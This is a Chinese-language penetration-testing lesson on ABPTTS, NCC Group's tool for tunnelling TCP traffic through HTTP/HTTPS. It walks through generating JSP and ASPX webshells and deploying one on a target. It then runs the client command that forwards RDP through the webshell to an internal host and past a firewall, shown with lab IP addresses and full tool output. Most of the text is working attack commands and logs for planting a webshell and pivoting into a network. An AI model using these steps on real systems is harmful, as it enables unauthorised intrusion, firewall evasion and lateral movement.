第九十六课:HTTP隧道ABPTTS第一季

 

 

ABPTTS简介:

ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是,abptts是全加密。

2016年blackhat介绍: https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun

Github: https://github.com/nccgroup/ABPTTS

安装与生成payload:

 

root@John:~# git clone https://github.com/nccgroup/ABPTTS.git
Cloning into 'ABPTTS'...
remote: Enumerating objects: 50, done.
remote: Total 50 (delta 0), reused 0 (delta 0), pack‐reused 50
Unpacking objects: 100% (50/50), done.
root@John:~# pip install pycrypto
Requirement already satisfied: pycrypto in(2.6.1)
root@John:~# cd ABPTTS/
root@John:~/ABPTTS# ls
abpttsclient.py abpttsfactory.py ABPTTS‐Manual.pdf data libabptts.py license.txt README.md settings_overlays template
root@John:~/ABPTTS# python abpttsfactory.py ‐o webshell
[2019‐01‐28 08:24:28.131919]===[[[]]]===‐‐‐
[2019‐01‐28 08:24:28.131954]==[[]]==‐‐
[2019‐01‐28 08:24:28.131965] Ben Lincoln, NCC Group
[2019‐01‐28 08:24:28.131979] Version 1.0 ‐ 2016‐07‐30
[2019‐01‐28 08:24:28.132706]in"/root/ABPTTS/webshell"
[2019‐01‐28 08:24:28.132722]file"/root/ABPTTS/webshell/config.txt"
[2019‐01‐28 08:24:28.132739]"/root/ABPTTS/data/american‐english ‐lowercase‐4‐64.txt"file
[2019‐01‐28 08:24:28.136713]file"/root/ABPTTS/webshell/config.txt"
[2019‐01‐28 08:24:28.137760]file"/root/ABPTTS/webshell/abptts.jsp"
[2019‐01‐28 08:24:28.138342]file"/root/ABPTTS/webshell/abptts.aspx"
[2019‐01‐28 08:24:28.138492]file"/root/ABPTTS/webshell/war/WEB‐INF/web.xml"
[2019‐01‐28 08:24:28.138555]file"/root/ABPTTS/webshell/war/META‐INF/MANIFEST.MF"
[2019‐01‐28 08:24:28.139128] Prebuilt JSP WAR file: /root/ABPTTS/webshell/scabGroup.war
[2019‐01‐28 08:24:28.139140]file contents:/root/ABPTTS/webshell/war

HTTP隧道ABPTTS——获取webshell的主机位于内网,并且该内网主机的ic_Server

 

靶机执行:

以aspx为demo。

HTTP隧道ABPTTS——获取webshell的主机位于内网,并且该内网主机的ic_Server_02

 

攻击机执行:

注:如果攻击机为vps,则 -f 需要填写vps_ip:port/目标机:port

 

python abpttsclient.py ‐c webshell/config.txt ‐u "http://192.168.1.119/abptts.aspx" ‐f 192.168.1.5:33389/192.168.1.119:3389

 

root@John:~/ABPTTS# python abpttsclient.py ‐c webshell/config.txt ‐u "http://192.168.1.119/abptts.aspx" ‐f 192.168.1.5:33389/192.168.1.119:3389
[2019‐01‐28 08:33:25.749115]===[[[]]]===‐‐‐
[2019‐01‐28 08:33:25.749153]==[[]]==‐‐
[2019‐01‐28 08:33:25.749160] Ben Lincoln, NCC Group
[2019‐01‐28 08:33:25.749169] Version 1.0 ‐ 2016‐07‐30
[2019‐01‐28 08:33:25.750372] Listener ready to forward connections from 192.168.1.5:33389 to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx
[2019‐01‐28 08:33:25.750392]for client connection to 192.168.1.5:33389
[2019‐01‐28 08:33:28.560180] Client connected to 192.168.1.5:33389
[2019‐01‐28 08:33:28.560365]for client connection to 192.168.1.5:33389
[2019‐01‐28 08:33:28.560655] Connecting to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx
[2019‐01‐28 08:33:28.868187]set=boyfcepcijf43s0dhaz5of05;=/; HttpOnly
[2019‐01‐28 08:33:28.868269][(S2C)>>(Connection ID: CEA116F4AF1FAF8C)] Server created connection ID CEA116F4AF1FAF8C
[2019‐01‐28 08:33:29.077903][Errno 104]infor(192.168.1.3:8861 ‐>>)
[2019‐01‐28 08:33:29.077967](192.168.1.3:8861 ‐>>)
[2019‐01‐28 08:33:29.077987](192.168.1.3:8861 ‐ >)
[2019‐01‐28 08:33:29.078049]while(192.168.1.3:8861 ‐>): [Errno 107] Transport endpoint is not connected
[2019‐01‐28 08:33:29.085280] Server closed connection ID CEA116F4AF1FAF8C
[2019‐01‐28 08:33:36.957446] Client connected to 192.168.1.5:33389
[2019‐01‐28 08:33:36.957601]for client connection to 192.168.1.5:33389
[2019‐01‐28 08:33:36.957797] Connecting to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx
[2019‐01‐28 08:33:36.966507]set=bsynuc3l5ndo5h0n0bhtrv5p;=/; HttpOnly
[2019‐01‐28 08:33:36.966587][(S2C)>>(Connection ID: AA0FE7F073A5EFFD)] Server created connection ID AA0FE7F073A5EFFD
[2019‐01‐28 08:33:45.321612][(C2S)>>(Connection ID: AA0FE7F073A5EFFD)]: 25805 bytes sent since last report
[2019‐01‐28 08:33:45.321700][(S2C)>>(Connection ID: AA0FE7F073A5EFFD)] 12344 bytes sent since last report
[2019‐01‐28 08:33:48.482758][(C2S)>>(Connection ID: AA0FE7F073A5EFFD)]: 715 bytes sent since last report
[2019‐01‐28 08:33:48.482838][(S2C)>>(Connection ID: AA0FE7F073A5EFFD)] 2524 bytes sent since last report
[2019‐01‐28 08:33:54.169354][Errno 104]infor(192.168.1.3:8862 ‐>>)
[2019‐01‐28 08:33:54.169432](192.168.1.3:8862 ‐>>)
[2019‐01‐28 08:33:54.169455](192.168.1.3:8862 ‐ >)
[2019‐01‐28 08:33:54.169529]while(192.168.1.3:8862 ‐>): [Errno 107] Transport endpoint is not connected
[2019‐01‐28 08:33:54.178078] Server closed connection ID AA0FE7F073A5EFFD

HTTP隧道ABPTTS——获取webshell的主机位于内网,并且该内网主机的ic_python_03

 

HTTP隧道ABPTTS——获取webshell的主机位于内网,并且该内网主机的ic_安全分析_04

 

非常遗憾的是,目前不支持PHP。